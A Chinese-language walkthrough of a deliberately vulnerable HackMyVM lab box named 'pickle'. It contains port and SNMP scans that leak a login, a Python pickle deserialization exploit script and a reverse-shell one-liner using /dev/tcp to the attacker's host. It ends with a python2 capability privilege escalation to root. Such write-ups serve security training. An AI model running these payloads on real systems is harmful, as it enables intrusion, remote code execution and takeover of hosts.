所渗透的靶机IP为192.168.56.112

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.56.112      
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-13 13:08 UTC
Nmap scan report for 192.168.56.112 (192.168.56.112)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
1337/tcp open waste
MAC Address: 08:00:27:87:E1:35 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds
sudo nmap -sT -sV -sC -O -p21,1337 192.168.56.112   
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-13 13:11 UTC
Nmap scan report for 192.168.56.112 (192.168.56.112)
Host is up (0.00027s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
1337/tcp open http Werkzeug httpd 1.0.1 (Python 2.7.16)
|_http-server-header: Werkzeug/1.0.1 Python/2.7.16
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Pickle login
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:87:E1:35 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Unix

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.30 seconds

FTP

有匿名FTP,得到了一个python源码的备份文件,应该就是1337端口所开设的源码了。

访问1337端口,但是需要凭证登录,找不到捏。

SNMP

当扫描一下UDP端口时,发现开启了不得了的东西

sudo nmap 192.168.56.112 -sUV --top-ports 10 -Pn
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-13 16:33 UTC
Nmap scan report for 192.168.56.112 (192.168.56.112)
Host is up (0.00034s latency).

PORT STATE SERVICE VERSION
53/udp closed domain
67/udp closed dhcps
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
445/udp closed microsoft-ds
631/udp open|filtered ipp
1434/udp closed ms-sql-m
MAC Address: 08:00:27:87:E1:35 (Oracle VirtualBox virtual NIC)
Service Info: Host: pickle

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.75 seconds

发现开启了snmp服务是一个用于网络监控管理的协议

onesixtyone 192.168.56.112 -c /usr/share/seclists/Discovery/SNMP/snmp.txt
Scanning 1 hosts, 3219 communities
192.168.56.112 [public] Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
192.168.56.112 [public] Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64

枚举一下社区名,得到一个叫做”public”的社区名

snmp-check 192.168.56.112 -c public
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 192.168.56.112:161 using SNMPv1 and community 'public'

[*] System information:

Host IP address : 192.168.56.112
Hostname : pickle
Description : Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Contact : lucas:SuperSecretPassword123!
Location : Sitting on the Dock of the Bay
Uptime snmp : 02:13:14.98
Uptime system : 02:13:11.67
System date : 2024-2-13 10:19:24.0

得到了凭证:

lucas:SuperSecretPassword123!

Getshell

根据得到的源码,看这两个界面

@app.route('/', methods=["GET", "POST"])
def index_page():
'''
__index_page__()
'''
if request.method == "POST" and request.form["story"] and request.form["submit"]:
md5_encode = hashlib.md5(request.form["story"]).hexdigest()
paths_page = "/opt/project/uploads/%s.log" %(md5_encode)
write_page = open(paths_page, "w")
write_page.write(request.form["story"])
return "The message was sent successfully!"

return render_template("index.html")

这个路由界面的内容大致是POST传一个story,然后内容进行MD5十六进制作为文件名来保存内容

@app.route('/checklist', methods=["GET", "POST"])
def check_page():
'''
__check_page__()
'''
if request.method == "POST" and request.form["check"]:
path_page = "/opt/project/uploads/%s.log" %(request.form["check"])
open_page = open(path_page, "rb").read()
if "p1" in open_page:
open_page = pickle.loads(open_page)
return str(open_page)
else:
return open_page
else:
return "Server Error!"

return render_template("checklist.html")

这个界面就是加载之前上传的日志文件,如果内容含有”p1”字符串,那么将这段内容进行反序列化。

所以思路就是上传一个含有“p1”的字符串

kali:

sudo tcpdump -i eth1 icmp
import os
import cPickle
import hashlib
import requests
class CommandExecute(object):
def __reduce__(self):
return (os.system, ('ping -c 2 192.168.56.102',))
convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
send_requests = requests.post('http://192.168.56.112:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.56.112:1337/checklist',data={"check":convert_crypt},auth=("lucas","SuperSecretPassword123!"))
print(check_requests.text)

用一个序列化来测试一下,发现接收到了ping,说明能够执行命令

开启监听

import os
import cPickle
import hashlib
import requests
class CommandExecute(object):
def __reduce__(self):
return(os.system,("bash -c '0<&134-;exec 134<>/dev/tcp/192.168.56.102/1234;sh <&134 >&134 2>&134'",))
convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
send_requests = requests.post('http://192.168.56.112:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.56.112:1337/checklist',data={"check":convert_crypt},auth=("lucas","SuperSecretPassword123!"))
print(check_requests.text)

来做一个反弹shell,成功收到打印序列化后的内容中是含有”p1”的

在/opt/project目录找到源码,发现还有一个reset路由

@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
'''
__reset_page__()
'''
if request.method == "POST" and request.form["username"] and request.form["key"]:
key = "dpff43f3p214k31301"
raw = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
hashed = hmac.new(key, raw, hashlib.sha1)
if request.form["key"] == hashed.hexdigest():
return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
else:
return "Server Error!"
return render_template("reset.html")

这一步感觉这个房间有问题。。。暂时不是很明白是怎么拿到mark用户的密码的。房间作者的WP写的也很迷糊

总之先得到mark密码:SUk5enROY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==

提权

getcap -r / 2>/dev/null
/home/mark/python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'

碎碎念

最近打的几个hmv的靶机感觉质量都不是很好,然后WP写得也有些含糊不清。总之又是python反序列化,然后又来了snmp服务。